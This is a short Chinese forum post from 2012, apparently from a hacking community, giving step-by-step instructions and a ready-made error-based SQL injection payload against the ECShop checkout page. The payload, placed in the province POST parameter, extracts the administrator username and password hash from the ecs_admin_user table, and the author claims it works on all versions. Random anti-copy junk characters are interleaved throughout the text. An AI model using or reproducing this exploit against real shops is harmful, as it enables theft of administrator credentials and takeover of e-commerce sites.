感谢欠杀的黑盒; V# j+ n& ?" m: j: H. o
3 I1 G5 p+ r- K' }, E
# V& ?, h J/ F; q把任意商品加入购物车在填写配送地址那一页，有地区选择
- Q5 I- ]1 h/ X % h. v E% D( v7 z+ s" W8 j
flow.php?step=consignee&direct_shopping=16 O3 r6 v R' z2 c9 R6 m0 Q5 u
比如省选择安徽! F4 R% {/ @' U2 _
; ?+ i8 }2 n8 p5 U) k' F2 y
其中POST数据如下+ c2 H+ q/ f1 v6 k6 u7 p, b
2 g: ^4 t* j5 @
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
1 f3 d. n& A' K: o; ?7 U改成, D8 {2 p+ s/ Z1 @% v9 i
. G# A% `8 ?& Nprovince=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
- h! t$ ?% O- Z; T9 F; }6 @ps：详细的方法，用火狐tamper data插件……..即可改post内容…..
' a4 v j2 R% f7 _/ B
" f& X2 y3 d J1 c: h6 F% Z先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包 u0 L B; p: O) U6 ]* Q4 k @
. O& f. l" t. @; {! ~ S3 I: n就会回显错误页面了。。。。- ~, a! x7 B$ @, F0 ~
8 t6 L( {# t: P7 ` T我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的5 z: j3 n9 ? N( x" x6 c [/ S! V
|
发表于 2012-12-31 09:19:27
收藏
支持
反对